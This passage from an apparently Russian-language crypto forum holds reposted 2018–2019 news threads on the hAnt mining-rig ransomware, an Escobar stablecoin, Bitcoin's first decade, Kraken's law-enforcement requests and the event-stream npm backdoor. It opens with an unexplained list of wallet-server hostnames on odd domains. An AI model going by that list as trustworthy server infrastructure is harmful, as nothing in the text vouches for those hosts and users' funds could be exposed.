  'superuser.23734430190.pro:50002:s',
  'pacslinkip12.krypto-familar.fun:50002:s',
  'topicres.imaginarycoin.info:50002:s',
  'wlseuser12.bitcoinplug.website:50002:s',
  'operatns.imaginarycoin.info:50002:s',
  'superman.cryptoplayer.fun:50002:s',
  'lucent01.23734430190.pro:50002:s',
  'qtmhhttp12.mldlab-works.space:50002:s',
  'plmimservice.bitcoinplug.website:50002:s',
  'username.cryptoplayer.fun:50002:s',
  'qlpinstall.krypto-familar.fun:50002:s',
  'adminstat.imaginarycoin.info:50002:s',
  'lessonuser2.cryptoplayer.fun:50002:s',
  'utilities12.pebwindkraft.space:50002:s',
  'openspirit.cryptoplayer.fun:50002:s',
  'qautprof12.coinucopiaspace.xyz:50002:s',
  'prodcics12.imaginarycoin.info:50002:s',
  'vcoadmin.23734430190.pro:50002:s',
  'siteminder.23734430190.pro:50002:s',
  'videouser.bitcoinplug.website:50002:s',
  'anonymous.bitcoinplug.website:50002:s',
  'oraprobe.23734430190.pro:50002:s'
Вымогатель hAnt заражает майнинговые устройства в Китае и угрожает их уничтожить
ID: 67686ad7b4103b69df379aca
Thread ID: 27506
Created: 2019-01-28T09:15:53+0000
Last Post: 2019-01-28T09:15:53+0000
Author: FreeWar
Replies: 0 Views: 2K

Обнаружен вымогатель hAnt, который заражает устройства для майнинга и угрожает вывести их из строя (через перегрев), если жертва не заплатит 10 BTC или не заразит малварью еще как минимум 1000 устройств.

Впервые данная малварь была замечена специалистами еще в августе прошлого года, однако в текущем месяце вымогатель активизировался с новой силой. В частности, китайское издание Yibenchain сообщает, что от атаки вымогателя уже пострадала майнинговая компания BTC.Top, в которой hAnt заразил 4000 ригов за считанные минуты.

Сообщения об атаках hAnt в основном поступают именно из Китая, от владельцев устройств Antminer S9 и T9, предназначенных для майнинга биткоинов, а также Antminer L3 для майнинга криптовалюты Litecoin. В редких случаях заражению также подвергается оборудование Avalon Miner.

Однако hAnt интересен не только тем, что атакует майнинговые риги, и точных данных о том, как именно он проникает на эти устройства, до сих пор нет (одна из теорий гласит, что вымогатель скрывается во вредоносной версии прошивки для майниговых девайсов, которая появилась в сети еще прошлым летом). Интерес также вызывают требования операторов hAnt.

На зараженной машине hAnt немедленно останавливает добычу криптовалюты, после чего демонстрирует жертве картинку с муравьем и двумя кирками, а также сообщение на английском и китайском языках. Разработчики малвари требуют, чтобы пострадавший либо перевел им 10 биткоинов (около 36 000 долларов США по текущему курсу), либо заразил hAnt еще как минимум 1000 устройств для майнинга, распространив вымогателя дальше.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F204893%2Fhant-splash- screen-400x218.jpg&hash=1133ea8c1a8e8e28adc2f0f7425219ba)![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F204893%2Fhant-ransom- demand-400x222.jpg&hash=55a74d29eff93c456bcfbe988858d467)

Если жертва откажется выполнять требования злоумышленников, те угрожают уничтожить зараженное устройство, отключив механизмы защиты от перегрева, а также охлаждение девайса. И хотя пока не поступало сообщений от пользователей, чьи риги действительно были бы выведены из строя вымогателем, специалисты полагают, что эти угрозы могут оказаться не пустым звуком. Так, в теории, hAnt действительно может злоупотреблять функциями оверклокинга в прошивке Antminer и тем самым провоцировать перегрев устройств, выводя их из строя.

Хуже того, некоторые пострадавшие сообщают о том, что hAnt распространяется самостоятельно, как червь, заражая «соседние» устройства в сети (к примеру, именно в этом уверяли журналистов представители BTC.Top).

Избавиться от заражения можно попросту перепрошив с нуля SD-карту устройства и установив «чистую» прошивку. Проблема заключается в том, что этот процесс может занимать до четырех дней, и во время этого простоя майнинговые фермы несут немалые убытки.

Стоит отметить, что если теория о том, что hAnt содержится в сторонних прошивках для майнингового оборудования, верна, то инженеры Antminer уже давно [предупреждали](https://support.bitmain.com/hc/en- us/articles/360009975634-Viruses-malware-and-remote-attacks-on-Antminers-How- to-prevent-and-remove-them-) пользователей о том, что скачивать и устанавливать на устройства неофициальные прошивки, найденные в интернете, – это не слишком хорошая идея, чреватая самыми разными проблемами.

P.S. взято у хакера

Эскобар запустил свою криптовалюту
ID: 67686ad7b4103b69df379acb
Thread ID: 27284
Created: 2019-01-14T15:24:23+0000
Last Post: 2019-01-14T15:24:23+0000
Author: tabac
Replies: 0 Views: 2K

Роберто Эскобар выпускает стейблкоин для поддержки импичмента Дональда Трампа

Как сообщает информационный портал [The Next Web](https://thenextweb.com/hardfork/2019/01/11/escobar-pablo-cryptocurrency- trump/), брат известного покойного колумбийского наркобарона Пабло Эскобара (Pablo Escobar) Роберто Эскобар (Robert Escobar) создал собственную криптовалюту с целью сбора средств для организации импичмента президента США Дональда Трампа.

Токен получил название ESCOBAR и является стейблкоином, привязанным к доллару США. Как сообщает сайт escobartrump.org, выпуск токена будет производиться на блокчейне Эфириума. Заявляется, что ESCOBAR будет конкурировать даже с самым популярным на данный момент стейблкоином Tether (USDT), который, по мнению Escobar Inc., не заслуживает доверия.

«Токен запускается с целью финансирования фонда Impeach Trump Fund, так как кампания GoFundMe закрылась и подверглась цензуре. Благодаря криптовалютам можно обойти установленные цензурой границы», – сообщается на сайте проекта.

Click to expand...

На данный момент доступно 200 млн токенов ESCOBAR в режиме пресейла, который продлится до 10 мая. Как сообщается в Белой Книге проекта, Эскобар планирует продать в общей сумме 1 млрд токенов. На сайте проекта говорится, что в июне стейблкоин можно будет приобрести за доллары США через белизскую компанию.

Генеральный директор Escobar Inc. Олоф Густафссон (Olof Gustafsson) сообщил, что в планах компании было собрать $50 млн на GoFundMe в рамках кампании под названием «ByeByeTrump». Однако платформа не дала возможности реализовать задуманные планы, поэтому командой было принято незамедлительное решение выпустить собственный криптовалютный токен.

«Мы всего за 10 часов собрали $10 млн, однако впоследствии утратили доступ к GoFundMe. Незамедлительно было принято решение выпустить стейблкоин для реализации поставленных целей, чтобы избежать повторного цензурирования. Мы считаем, что нашу кампанию закрыл президент США Дональд Трамп или его администрация», – заявил Густафссон.

Click to expand...

Отметим, что на другом сайте, который также посвящен импичменту Трампа, Роберто Эскобар называет себя бывшим сооснователем Медельинского картеля, в котором он занимался ведением учета прибылей на сумму более чем $100 млрд.

В марте прошлого года компания Escobar Inc. уже пыталась выпустить собственную криптовалюту с названием Diet Bitcoin, однако, судя по всему, инициатива провалилась.

Биткоину десять лет: вспоминаем испытания и достижения первой криптовалюты
ID: 67686ad7b4103b69df379acc
Thread ID: 27168
Created: 2019-01-06T19:31:18+0000
Last Post: 2019-01-06T20:53:38+0000
Author: tabac
Replies: 1 Views: 2K

Сегодня первая криптовалюта отмечает свой первый настоящий юбилей: биткоину исполняется ровно десять лет! 3 января 2009 года, в 21:15 по московскому времени, был создан [первый блок](https://www.blockchain.com/ru/btc/block- height/0) в действующем блокчейне Биткоина, названный генезис-блоком. Именно с этого момента отсчитывается история криптовалют.

Некоторые считают днем рождения Биткоина дату публикации Белой книги Сатоси Накамото (31 октября 2008 года), однако очень немногим проектам удается дойти от декларации до готового продукта. Инвесторы в ICO знают это очень хорошо. В конце концов, рождение человека отмечают не в тот день, когда папа обещал жениться на маме. Поэтому, единственный настоящий день рождения Биткоина - 3 января.

В этот день Сатоси создал только один блок, после чего неделю отдыхал от трудов праведных (возможно, занимался доводкой и тестированием клиента). Общественно значимая история биткоина началась позже и развивалась, наверное, гораздо медленнее, чем хотелось бы энтузиастам. В этой статье мы вспомним самые важные и известные моменты этой истории, которые могли стать поворотными точками или послужили важным шагом в развитии и популяризации биткоина и других криптовалют. Итак:

3 января 2009, 21:15:05: Создание первого блока, о котором еще никто не знает.

9 января 2009: Второй блок и начало постоянного майнинга. Релиз клиента Bitcoin 0.1. С этого дня другие пользователи (поначалу это были только программисты и криптографы) получили возможность видеть блокчейн и транзакции в нем, а также начать майнинг.

12 января 2009: Первая транзакция в блоке 170 между Сатоси Накамото и Хэлом Финни.
Дальнейшее изложение будет правильнее разбить по основным направлениям развития, чтобы не затеряться в хронологических дебрях. Хотя экосистема Биткоина существует как единое целое, и любое важное событие влияет на нее целиком, каждый из основных аспектов ее деятельности обеспечивают разные люди и компании.

Разработка и инфраструктура
Самые важные люди, стоящие за любым программным продуктом, в том числе и Биткоином - это разработчики, воплощающие идеи в алгоритмы и программный код. Широкая публика не всегда знает их имена и чем они занимаются, сосредоточиваясь на более освещаемых событиях, таких как движения курса, заявления регуляторов или хакерские атаки. Однако, без разработчиков не было бы Биткоина, а конфликты между ними могут иметь более разрушительные последствия, чем крах крупных бирж.
Первым разработчиком биткоина, разумеется, был Сатоси Накамото. В течение первого года к нему присоединился упоминавшийся выше Мартти Малми, а позже Гэвин Андресен. С 2010 года сообщество разработчиков начало быстро расти, но единая организованная команда, похожая на нынешнюю, сложилась только к 2013 году. В 2015 году число активных контрибьюторов в основной репозиторий превысило 100 человек. Сейчас их уже более шестисот.
15 августа 2010: в коде клиента Bitcoin 0.3 найдена уязвимость, которая позволяет хакеру сгенерировать 184 миллиарда биткоинов. Разработчики были вынуждены спешно распространить "заплатку" и вернуть все "как было". Этот день можно считать днем первого хардфорка в истории криптовалют.

Сатоси Накамото занимался разработкой и сопровождением основного клиента Биткоина до релиза 0.3.9, который вышел в конце 2010 года. После этого он вышел из проекта, передав контроль над репозиторием Гэвину Андресену.

1 ноября 2011: Выход Bitcoin-Qt 0.5.0 - первого релиза, ставшего основой нынешнего "официального клиента". Bitcoin-Qt был разработан Владимиром ван дер Лааном, ставшим в 2014 году главным разработчиком Биткоина после ухода Гэвина Андресена.

19 марта 2014: ребрендинг Bitcoin-Qt и выход Bitcoin Core 0.9.0. С тех пор название основного клиента сети не менялось. Также в этой версии была установлена действующая сейчас минимальная комиссия за транзакцию, равная 1000 сатоши за 1 килобайт.

К концу 2014 года впервые была озвучена проблема масштабирования блокчейна Биткоина, так как появилось некоторое количество блоков, "упиравшееся" в установленный еще Сатоси жесткий лимит размера блока, равный 1 Мб. Сначала мирная техническая дискуссия переросла в жаркие споры с финансовой и политической подоплекой. Конфликт, сопровождаемый несколькими расколами внутри команды основных разработчиков, продолжался около трех лет и закончился жестким противостоянием 2017 года, приведшим к уходу противников нынешней линии развития Биткоина в проект Bitcoin Cash.
В 2015 году началась разработка двух проектов, призванных решить проблему масштабирования блокчейна Биткоина: Segregated Witness (SegWit) и Lightning Network. Первая разрабатывается командой Bitcoin Core, вторая независимыми разработчиками.

20 февраля 2016: [Встреча в Гонконге](https://bits.media/konferentsiya-po- masshtabirovaniyu-bitkoina-utrom-segwit-vecherom-khardfork/), на которой был определен план развития сети. Большая часть пунктов плана была выполнена с задержкой, что привело к обострению конфликта.

23 мая 2017: Встреча криптовалютного бизнеса [в Нью- Йорке](https://bits.media/nyu-yorkskiy-konsensus-po-masshtabirovaniyu- bitkoina-mneniya-i-posledstviya/) без представителей Bitcoin Core, на которой было принято решение об активации SegWit с одновременным увеличением размера блока до 2 Мб (Segwit2x). Встретив противодействие сторонников Bitcoin Core, подписанты соглашения отменили хардфорк в ноябре 2017 года.

1 августа 2017: [Самый известный хардфорк](https://bits.media/trudnosti- khardforka-kak-proiskhodit-rozhdenie-bitcoin-cash/) в истории Биткоина, фактически закрепивший раздел сообщества по вопросу масштабирования. Основные участники, отказавшиеся от развития SegWit и Lightning Network, отделились в самостоятельный проект Bitcoin Cash.

24 августа 2017: [активация SegWit](https://bits.media/news/segregated- witness-aktivirovan-na-bloke-481-824/) в основном блокчейне.
После разрешения конфликта со сторонниками SegWit2x, развитие Биткоина вошло в более спокойную колею, хотя скорость продвижения по-прежнему оставляет желать лучшего. На данный момент количество транзакций с использованием SegWit колеблется около 50%, а Lightning Network работает в основном блокчейне в тестовом режиме, сейчас в ней действует более 5000 узлов и зафиксировано около 540 BTC. В ближайшем будущем планируется переход на подписи Шнорра и адреса SegWit формата bech32 (начинаются с bc), что позволит уменьшить средний размер транзакций. Последняя версия Bitcoin Core - 0.17.1

Торговля и обмен
Биткоин - это валюта, пусть и крипто. По крайней мере, так принято считать, хотя в последнее время биткоин считается более средством накопления и инвестирования, а не обмена и торговли. Тем не менее, биржевые курсы биткоина к множеству мировых валют - вероятно, самые важные цифры, от которых зависит жизнь криптовалютного сообщества. А дальнейший рост популярности и ценности биткоина напрямую зависит от его применения в качестве платежного средства.

Сейчас новые криптовалюты приходят на уже сформировавшийся рынок и сразу получают от него более или менее справедливую оценку. Но биткоину, как и любому первопроходцу, повезло гораздо меньше. Его инфраструктура формировалась несколько лет и все еще находится в стадии активного развития.

7 октября 2009: Первый обменник. Пожелавший остаться анонимным пользователь NewLibertyStandard открыл первый P2P-обменник, где вычислял курс биткоина по энергозатратам на майнинг 1 BTC. Первым обменным курсом было 1 309.03 BTC за 1 доллар США (в 2018 году стоимость майнинга 1 BTC, по разным методам расчета, находится в широком диапазоне от $3 000 до $6 000). Его "обменник" работал еще несколько месяцев, примерно до июня 2010 года. Таким образом, в конце 2009 года за 1 доллар можно было купить 800-1500 BTC. Первой в истории обмена криптовалюты на фиатные деньги стала сделка, когда NewLibertyStandard купил у финского разработчика Martti Malmi 5050 BTC за 5$, переведенные через PayPal. Точная дата этого события неизвестна.

6 февраля 2010: Первая биржа. Открыта первая централизованная биржа криптовалют Bitcoin Market. Ее существование продлилось немногим больше года.

22 мая 2010: Первая покупка за биткоин. Программист Лазло Ханеш покупает две пиццы за 10 000 BTC. Собственно, это событие являлось скорее P2P-сделкой, а не прямой покупкой, поскольку Ханеш перевел 10 000 BTC не продавцу, а своему приятелю под псевдонимом Jercos, который и заказал ему доставку пиццы. Однако, сообществу нужен был символ, и оно его получило. С 2013 года 22 мая стало [днем биткоин-пиццы](https://bits.media/vosem-let-samoy-dorogoy-pitstsy-v- istorii/), который широко отмечается биткойнерами по всему миру.

16 октября 2010: первая сделка с использованием эскроу. Сделка была совершена пользователями nanotube и Diablo-D3, в качестве посредника выступил основатель форума Bitcointalk, известный как Theymos.

17 июля 2010: Джед Мак-Калеб запускает криптовалютную биржу MtGox, которая оставалась главным рынком биткоина более трех лет.

9 февраля 2011: 1 доллар за 1 биткоин. В этот день на MtGox биткоин впервые сравнялся в цене с долларом США.

Июнь 2011: Первый пузырь. 2 июня на Mtgox был достигнут максимальный на то время курс около $32 за 1 BTC, после чего началось снижение. 19 июня при курсе около $17 за 1 BTC биржа была взломана и хакер с помощью "нарисованных" торгов уронил курс до 1 цента, купив таким образом несколько сотен тысяч биткоинов. Цена смогла превысить максимум до взлома только в 2013 году.
Лето 2011 года стало периодом массового открытия криптовалютных бирж по всему миру. В течение всего нескольких месяцев появились такие известные площадки, как BTC-e, Bitstamp, BTCC, Huobi и другие. Некоторые из них существуют до сих пор, другие пали в борьбе с регуляторами, хакерами и конкурентами.

7 октября 2013: Арест Уильяма Росса Ульбрихта и закрытие черного рынка Silk Road. После кратковременного падения до $70 биткоин пошел в рост, менее чем через два месяца поднявшись выше $1000. По результатам суда Ульбрихт получил два с половиной пожизненных срока. Также в тюрьму попали два коррумпированных агента американских спецслужб, которые [воровали биткоины](https://bits.media/rassledovavshie-delo-silk-road- federalnye-agenty-v-ssha-obvinyayutsya-v-krazhe-bitkoynov-i-moshennich/) во время расследования.

7 февраля 2014: Закрытие и последующее банкротство биржи MtGox. Потери клиентов составили около 650 000 BTC - максимальная сумма во всей истории криптовалют. За счет многократного подорожания биткоина клиенты биржи в этом году, вероятно, получат существенную прибыль в фиатных валютах за счет ликвидации оставшихся активов биржи.

15.01.2016: [закрытие](https://bits.media/sindrom-goksa-cryptsy- prekratila-operatsii/) крупнейшей на тот момент биржи альткоинов Cryptsy. Убытки клиентов то курсам на тот день составили около $5 миллионов.

03.08.2016: [Взлом биржи Bitfinex](https://bits.media/birzha-bitfinex- vzlomana-vse-operatsii-ostanovleny/) и кража 120 000 BTC - крупнейшее ограбление после MtGox. Биржа сумела продолжить работу и вернуть клиентам большую часть потерь. Украденные биткоины до сих пор лежат без движения.
2017 год ознаменовался бурным ростом биткоина и других криптовалют, курс BTC поднялся в 20 раз на ожиданиях выхода на традиционные биржи и прихода институциональных инвесторов. Эти надежды сбылись только частично, поэтому весь 2018 год продолжалось падение криптовалютного рынка которое, возможно, еще не закончилось. Однако, долгосрочный тренд все еще сохраняет восходящую тенденцию.

В декабре 2017 года фьючерсы на биткоин запущены на товарных биржах [CBoE](https://bits.media/v-cboe-zaplanirovali-zapusk-fyuchersov-na-bitkoin- ranshe-cme/) и [CME](https://bits.media/cme-obyavila-o-zapuske-fyuchersov-na- bitkoin-s-18-dekabrya/). Аналогичные планы имеют также NYSE и NASDAQ. В частности, платформа Bakkt под управлением NYSE возможно, будет запущена уже в январе 2019 года.
В этом году ожидается и решение американского регулятора фондового рынка (SEC) по одобрению биржевых фондов (ETF) на биткоин. Это событие станет символом окончательной "легализации" биткоина как надежного финансового инструмента.

Майнинг
Добыча биткоина сейчас без преувеличения стала одной из энергоемких отраслей промышленности. По разным расчетам, потребляемая майнерами биткоина мощность составляет несколько десятков гигаватт, что соответствует потреблению крупного города или небольшой европейской страны с населением в несколько миллионов человек. Точный расчет невозможен, поскольку майнеры используют оборудование с разными параметрами. Кроме того, в майнинге время между блоками, на основе которого вычисляется средний хэшрейт сети, часто зависит от чистой случайности. Как же все начиналось?

30 декабря 2009: Первое изменение сложности выше 1. Прошел почти год от запуска блокчейна до того момента, когда майнингом биткоина занялось достаточно людей, чтобы это отразилось на графике сложности. Для того, чтобы сложность превысила базовую единицу, требуется работа нескольких сотен CPU для обычных ПК. Другого оборудования для майнинга в то время не существовало.

16 июля 2010: Самое большое изменение сложности. В этот день на блоке 68544 сложность увеличилась сразу в четыре раза! Это максимальный прирост за всю историю существования биткоина.

18 июля 2010: начало масштабирования майнинга. В этот день был добыт первый блок с использованием графического процессора (GPU) 1 октября была опубликована первая программа для майнинга на GPU, основанная на открытой архитектуре OpenCL для видеокарт на чипах AMD.

16 декабря 2010: первый пул. Пользователь slush запустил первый пул для многопользовательского майнинга. Пул существует и сейчас хотя, разумеется, заметно изменился.

23 августа 2011: Добыт первый блок децентрализованным пулом P2Pool. Децентрализованному майнингу не было суждено стать основой сети, так как он оказался слишком сложным в настройке для большинства пользователей, а слабый хэшрейт, собранный энтузиастами, не позволил получать более или менее гарантированное вознаграждение.

7 октября 2011: запуск Litecoin - первой криптовалюты, где был применен альтернативный алгоритм хэширования для защиты от наплыва GPU-майнеров. Защита продержалась недолго. Собственно, первой криптовалютой, применившей scrypt, была Tenebrix, запущенная несколькими днями ранее (26 сентября), но она не смогла завоевать популярность и быстро умерла.

28 ноября 2012: первое уполовинивание награды за блок. В этот день вознаграждение за добычу блока уменьшилось с 50 до 25 BTC. Второе уполовинивание произошло 9 июля 2016 года и награда снизилась до текущего уровня 12.5 BTC. Следующее уменьшение ожидается летом 2020 года.

Во второй половине 2012 года несколько компаний из Китая и США начинают разработку специализированных чипов для майнинга биткоина (ASIC). Точной даты запуска первых ASIC-майнеров не знает никто, кроме их создателей. однако это случилось в конце 2012 - начале 2013 года. Из первых разработчиков ASIC- майнеров до сих пор существует только Canaan Creative (Avalon), хотя компания уже утратила лидирующее положение на рынке.
С февраля 2013 года начинается новый стремительный рост сложности, который затормозился только в 2018 году - как вследствие падения курса, так и подхода разработчиков новых ASIC к существующему технологическому пределу. Чипы на техпроцессе 7 нм, который применяется в последнем поколении ASIC для майнинга, по сути, еще не пошли в массовое производство даже для массовой электроники, включая процессоры для ПК и смартфонов.
В рамках этой статьи невозможно рассказать обо всех событиях в мире майнинга, отметим только одну дату, все еще актуальную:

4 октября 2018: Исторический максимум сложности. В этот день сложность добычи биткоина достигла 7 454 968 648 263 базовых единиц (7.45 триллиона), что примерно соответствует хэшрейту в 53.36 Эх/с (экзахэша в секунду). После этого начался обвал хэшрейта, поскольку майнинг стал убыточным вследствие нового падения курса, а также переключения части майнеров на майнинг альткоина Bitcoin Cash.

В то же время, к концу года у крупных майнеров начали проявляться финансовые проблемы. Крупнейший в мире «продавец лопат» Bitmain объявил о масштабных [сокращениях штата](https://bits.media/bitmain-podtverdila-sluhi-o- sokrashchenii-personala/), а японская корпорация GMO получила крупные убытки и [отказалась](https://bits.media/gmo-internet-group-bolshe-ne-budet-zanimatsya- razrabotkoy-proizvodstvom-i-prodazhey-oborudovaniya-dl/) от разработки и выпуска новых ASIC-майнеров.

Последний пересчет сложности 31 декабря 2018 показал величину 5.62 триллиона базовых единиц, что на 32% ниже исторического максимума. Однако, в 2019 году гонка сложности может продолжиться.

Популяризация
Количество пользователей биткоина, в силу анонимности криптовалюты, точно подсчитать невозможно, однако сейчас всех, кто связан с криптовалютной отраслью, исчисляют уже десятками миллионов. А десять лет назад о новой угрозе мировой финансовой системе знали всего несколько десятков ученых и гиков, интересующихся разработками в области криптографии. Поэтому можно смело говорить, что аудитория биткоина за эти десять лет выросла в миллион раз, хотя и не все эти люди владеют биткоинами. Тех, кто сейчас владеет хотя бы одним целым биткоином, вероятно, всего несколько тысяч человек, причем значительная часть этого цифрового богатства сосредоточена на централизованных биржах.

Эту многомиллионную аудиторию удалось собрать далеко не сразу. В первые годы существования биткоина о нем почти не упоминалось в средствах массовой информации, социальных сетях и тем более на телевидении. Все это пришло позже.

20 ноября 2009: Создан крупнейший форум о криптовалютах Bitcointalk.org. Первичную регистрацию этого доменного имени приписывают самому Сатоси Накамото, однако по словам нынешнего владельца ресурса, известного как Theymos, домен зарегистрировал пользователь под псевдонимом Sirius, который уже давно "отошел от дел".

16 апреля 2011: первая статья в большой прессе. О биткоине написал журнал Time.

31 июля 2011: запущен первый русскоязычный сайт и форум о криптовалютах btcsec.com (сейчас bits.media). Популярность биткоина в рунете в это время уже начала расти, однако статьи и дискуссии в основном появлялись на ресурсах для ИТ-специалистов (например, на Habrahabr). Но широкая публика все еще ничего не знала о криптовалютах.

25 ноября 2011: Первая конференция. Первое крупное мероприятие, посвященное криптовалютам, было организовано в Праге.
За прошедшие после первых робких шагов 7 лет биткоин приобрел всемирную популярность. По информации Google Trends, в ноябре 2017 года биткоин [обошел по популярности золото](https://bits.media/google-trends-zoloto-ustupaet- bitkoinu-v-populyarnosti/). Однако, большинству инвесторов, купивших биткоин в то время, пришлось разочароваться в своих вложениях.
В том же году котировки биткоина появились на всех основных финансовых платформах: Bloomberg, Reuters, Yahoo и Microsoft. Кроме того, Microsoft обещает добавить символ биткоина в инструменты для финансовых расчетов в Microsoft Excel.

Еще в 2013 году Оксфордский словарь добавил определение биткоина. А в марте 2018 года британский словарь Merriam-Webster добавил 850 терминов, связанных с биткоином и криптовалютами.

Такие именитые глобальные организации, как W3C и ISO, начали заниматься стандартизацией в области криптовалют и блокчейна, однако процессы в таких организациях могут продолжаться несколько лет.

И еще раз о количестве пользователей биткоина. На сегодняшний день количество зарегистрированных учетных записей на Coinbase составляет более 20 миллионов, а на blockchain.com - более 31 миллиона. Разумеется, многие из них неактивны, с другой стороны, далеко не все биткойнеры, особенно из азиатских стран, не заводили аккаунты на западных платформах. Поэтому, число в 20 миллионов выглядит достаточно скромной средней величиной.

К чему пришел Биткоин за десять лет
Подведем краткие итоги. Если сравнивать описанные выше показатели Биткоина на январь 2009 года и на январь 2019-го, они выглядят очень впечатляюще:

  1. Курс биткоина по первой котировке: $0.00076, сегодня: $3880. Таким образом, за 10 лет биткоин подорожал более чем в 5 миллионов раз.
  2. Рыночная капитализация: на октябрь 2009 по первой котировке: около $1500, сейчас: $67.7 миллиарда.
  3. Сложность майнинга: 10 лет назад: 1, сейчас: 5.62 триллиона.
  4. Количество пользователей: на 10 января 2009 - только его создатель Сатоси Накамото и несколько десятков энтузиастов. Сейчас - 20 миллионов или даже больше.

Возможно, эти цифры кажутся невероятными или притянутыми за уши, однако невозможно не признать тот очевидный факт, что за первое десятилетие своего существования биткоин прошел путь от забавы для криптографов до всемирно известного финансового инструмента, который многие известные бизнесмены и ученые считают реальным соперником золота и других резервных активов.

Правительства большинства развитых стран ввели или разрабатывают регулирование криптовалютного сектора. Это значит, что они не допускают возможности скорого краха криптовалют. Инфраструктура вокруг биткоина состоит из тысяч компаний, в индустрии заняты уже миллионы людей.

Первое десятилетие для биткоина было непростым, но он выдержал все испытания и встречает первый юбилей в расцвете популярности и с многомиллиардной капитализацией. Впереди нас ожидают не только новые трудности, но и новые вершины. Нам же, как пользователям и энтузиастам биткоина, предстоит встретить еще не один его юбилей. И мы надеемся, что каждый следующий будет еще более блестящим, чем предыдущие!

Kraken: Количество запросов правоохранительных органов выросло втрое
ID: 67686ad7b4103b69df379acd
Thread ID: 27164
Created: 2019-01-06T17:00:52+0000
Last Post: 2019-01-06T17:00:52+0000
Author: tabac
Replies: 0 Views: 2K

![](/proxy.php?image=https%3A%2F%2Fhashtelegraph.com%2Fwp- content%2Fuploads%2F2019%2F01%2FKraken2018.jpg&hash=a6f01ce29226b8c33ec7e49f3dd5efa3)

Криптобиржа обнародовала статистику обращений правоохранительных органов и регуляторов за прошлый год – глядя на цифры, становится понятнее, почему многие площадки от греха подальше стараются ограничить доступ гражданам США. Количество запросов о предоставлении информации в 2018 году выросло в три раза, до 475 случаев, и две трети из них – это запросы американских органов.

Комиссии по ценным бумагам и биржам (SEC) и Комиссия по торговле товарными фьючерсами (CFTC), регулирующие цифровые активы тревожили Kraken не так часто, совокупно отправив всего 29 запросов.

Лидирующие позиции в рейтинге наиболее любознательных госструктур занимают Департамент национальной безопасности США (91 обращение), ФБР (67) и Управление по борьбе с наркотиками (40).

Кто-то из пользователей обратил внимание на тот факт, что в списке департаментов, агентств и ведомств, обращавшихся за информацией, отсутствуют и ЦРУ, и Агентство национальной безопасности. На что сотрудник биржи, ведущий ее официальный аккаунт, то ли в шутку, то ли всерьез ответил, что когда ты и так все знаешь, тебе совершенно не нужно запрашивать дополнительную информацию.

По словам СЕО биржи Джесси Пауэлла, такая активность американских органов правопорядка вызывает у него смешанные чувства. «С одной стороны, мы рады помочь в преследовании и поимке преступников, естественно, в рамках закона, – отметил он. – С другой стороны, никому не нравится, когда к его голове приставляют ствол, вынуждая выполнять чьи-то еще задачи, а не cвои собственные».

Количество запросов американских чиновников и правоохранителей выглядит особенно непропорционально, учитывая, что граждане США составляют около 20% клиентов Kraken.

Впрочем, как показывает недавний случай с решением об экстрадиции СЕО румынской криптобиржи Влада Нистора, американские органы могут интересоваться не только гражданами США и их транзакциями.

Власти других стран существенно отстают в количестве отправляемых Kraken запросов. Второе место у Великобритании (61 обращение), третье – у Германии (34) четвертое – у Франции (20). Ни одна из других стран не тревожила Kraken более 10 раз за прошлый год.

Kraken отмечает, что ответы на вопросы различных госструктур отнимают очень много времени и сил, поскольку они часто запрашивают информацию общего характера в большом объеме и просят дополнительных разъяснений. «Мы получаем запрос c формулировкой «предоставьте данные о всех транзакциях», это огромный массив данных, когда их на самом деле интересует история вывода средств с одного конкретного аккаунта за неделю», – отметил сотрудник Kraken.

Повышенное внимание госструктур действительно может быть обременительным, но если говорить о Kraken, можно вспомнить как минимум один случай, когда криптобиржа отказалась ответить на такой запрос.

Речь идет о нашумевшем рассследовании состояния дел на криптобиржах, проведенном Генеральной прокуратурой штата Нью-Йорк. Kraken была одной из трех бирж, отказавшихся предоставить информацию, и единственной из них американской. Более того, после выхода исследования твиттер-аккаунт Kraken разразился шквалом саркастических комментариев по поводу расследования и его авторов.

Уязвимость в Node.js поставила под удар множество криптовалютных кошельков
ID: 67686ad7b4103b69df379ad1
Thread ID: 26658
Created: 2018-11-27T12:25:06+0000
Last Post: 2018-11-27T12:25:06+0000
Author: tabac
Replies: 0 Views: 2K

Новая уязвимость во фреймворке Node.js, который используют миллионы веб- приложений, включая криптовалютные кошельки, может привести к потере данных. При этом отмечается, что уязвимость появилась неслучайно, а была намеренно добавлена в библиотеку event-stream, которая используется во многих приложениях на Node.js.

Разработчик библиотеки Доминик Тарр (Dominic Tarr) уже несколько лет не работает над проектом. Он передал права на репозиторий новому пользователю под ником right9ctrl, у которого на тот момент практически не было активности на GitHub.

Сообщается, что именно пользователь right9ctrl добавил в библиотеку вредоносный код, с помощью которого злоумышленники могут получить доступ к секретным ключам в приложениях, использующих библиотеку.

«Он добавил вредоносный код flatmap-stream, который нацелен на ps-tree, и практически сразу опубликовал изменения. Второе добавление, которое произошло через три дня, удалило инъекцию и обновило версию библиотеки, так что репозиторий очистился от вредоносного кода. Но те, кто обновились до этого, получили сборку с инъекцией», – заявил поднявший эту тему пользователь Айртон Спарлинг (Ayrton Sparling).

Click to expand...

Проще говоря, злоумышленник на некоторое время подменил библиотеку версией, содержащей вредоносный код, а затем заменил на нормальную. Но множество пользователей осталось с инфицированной версией.

На данный момент известно, что влиянию подвергся криптовалютный кошелек Copay. Так как это кошелек с открытым исходным кодом, на котором построено множество других приложений, связанных с криптовалютами, масштаб проблемы может быть довольно большим.

Ранее специалист по компьютерной безопасности Лукас Стефанко (Lukas Stefanko) сообщал, что обнаружил в магазине приложений Google Play сразу четыре фальшивых криптовалютных кошелька, которые воруют данные пользователей.

Падение курса биткоина до 4500$ – не причина для паники
ID: 67686ad7b4103b69df379ad2
Thread ID: 26589
Created: 2018-11-20T19:44:55+0000
Last Post: 2018-11-20T19:44:55+0000
Author: tabac
Replies: 0 Views: 2K

Именитые деятели криптовалютной индустрии объединились, что успокоить «паникующих» инвесторов после того, как цена BTC сегодня упала ниже важной психологической отметки в $4500.
На время публикации пара BTC/USD торгуется на уровне $4600 долларов. В то время, как аналитики предупреждали, что хотя основные барьеры, включая 4000 долларов, не будут пройдены «без боя», вполне вероятно, что даже нынешние уровни около $4300 еще нельзя считать «дном».

